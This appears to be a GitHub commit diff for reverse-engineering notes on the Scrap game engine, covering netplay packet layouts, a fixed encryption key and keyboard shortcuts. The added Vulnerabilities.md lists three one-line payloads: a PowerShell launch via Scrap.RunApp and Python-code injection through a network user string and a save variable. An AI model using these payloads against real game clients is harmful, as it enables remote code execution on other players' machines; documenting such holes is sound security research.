Skip to content

Commit 25fef21

Browse files
committed
2023-05-13 15:59:08: Add keyboard shortcuts
1 parent 4c606da commit 25fef21

File tree

5 files changed

+47
-12
lines changed

5 files changed

+47
-12
lines changed

Netplay/Netplay.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# Encryption (v1.1)
1+
# Encryption  (v1.1)
22

33
Fixed Key: `020406080a0c0e10121416181a1c1e20222426282a2c2e30323436383a3c3e40`
44
Packet Structure:

Netplay/Protocol.md

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ Structure:
9292
struct NetValue {
9393
le u16 entity_index;
9494
u8 entity_type;
95-
char data[?]; // length depends on entity type
95+
char data[?]; // variable length
9696
};
9797

9898
struct NetData {
@@ -134,17 +134,33 @@ Packets are split into Data packets (map change, resources, chat message, etc) a
134134
- 20: Box:vAim
135135
- 21: Box:vSpd
136136

137-
## Server->Client Packet Types
137+
138+
## Client->Server (`cClientNetManager`) Packet Types
138139

139140
- 00: Player Join
141+
- u16: NET_GAME_ID (`0xbace`)
142+
- u16: NET_GAME_VERSION (`0x101`)
143+
- str: ServerPassword
144+
- str: PlayerName
145+
- str: ShipModelName
146+
- u16: ShipHealth
147+
- str: PilotModel
148+
- str\[4]: EngineModels
149+
- str: Loadout
150+
- u32: TeamNumber
151+
- 06: Player Modify
152+
- Same as 00: Player Join
140153
- 02: Disconnect
141154
- 03: Chat String
155+
- str: ChatString
142156
- 04: Usr String
157+
- str: UsrString
143158
- 05: Unk (Keepalive?)
144-
- 06: Player Modify
145159
- 08: Remote command
160+
- str: ServerRemotePassword
161+
- str: Command
146162

147-
## Client->Server Packet types
163+
## Server->Client (`cServerNetManager`) Packet types
148164

149165
- 00: Map Change:
150166
- str map_name
@@ -153,27 +169,27 @@ Packets are split into Data packets (map change, resources, chat message, etc) a
153169
- 01: Resource:
154170
- u16: resource_index
155171
- u16: unk
156-
- [str: resource_name] repeated num_resources times
172+
- str[]: resource_name
157173

158174
- 02: Unknown (Keepalive?)
159175

160176
- 03: ChatMessage
161-
- str: message
177+
- str: ChatStr
162178

163179
- 04: UsrString:
164-
- str: data
180+
- str: UsrStr
165181

166182
- 05: Player join:
167183
- u8: player_id
168184
- str: player_name
169185
- str: ship_model
170186
- u16: max_health
171-
- str[4]: engine_models
187+
- str\[4]: engine_models
172188
- str: pilot_model
173189
- str: loadout
174-
- u32: unknown
190+
- u32: team_number
175191

176192
- 06: unknown
177193
- u8: ent_index
178194

179-
- 07: unknown (reload?)
195+
- 07: unknown (restart?)

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
- [Engine Variables](./Variables.md)
66
- [Classes](./Classes.md)
77
- [World](./World.md)
8-
- [Netplay](./Netplay/Netplay.md)
8+
- [Netplay](Netplay.md)
99
- [Python API](./Python_API.md)
1010
- [Modules](./Python_Modules.md)
1111
- [Callbacks](./Callbacks.md)

ScrapEngine.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,21 @@ Checked in `0x00401180`
7070
* `idiota`
7171
* `capullo`
7272

73+
## Keyboard Shortcuts
74+
75+
Resource ID 200 (0xc8)
76+
77+
Shift+Esc: Exit game
78+
Ctrl+Alt+Shift+F10: Change graphics device
79+
Ctrl+F11: Focus Console Window
80+
F10: Pause game
81+
F12: Nothing?
82+
Ctrl+F12: Show FPS
83+
Ctrl+Alt+Shift+F7: Wireframe
84+
Ctrl+Alt+Shift+F8: Texture Filtering Mode
85+
Ctrl+Alt+Shift+F9: Cycle Rendering Info
86+
Ctrl+Alt+Shift+Enter: Toggle fullscreen
87+
7388
## Window Messages
7489

7590
**TODO**

Vulnerabilities.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
2+
- `Scrap.RunApp("C:/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.EXE",'-NoProfile -ExecutionPolicy Unrestricted -Command "dir | out-file pwned.txt"')`
3+
- `SNet.SendUsrString(<id>,"T<PythonCode>"`
4+
- `Scrap.SetSaveVar("GameplayTime","<pythoncode>")`

0 commit comments

Comments
 (0)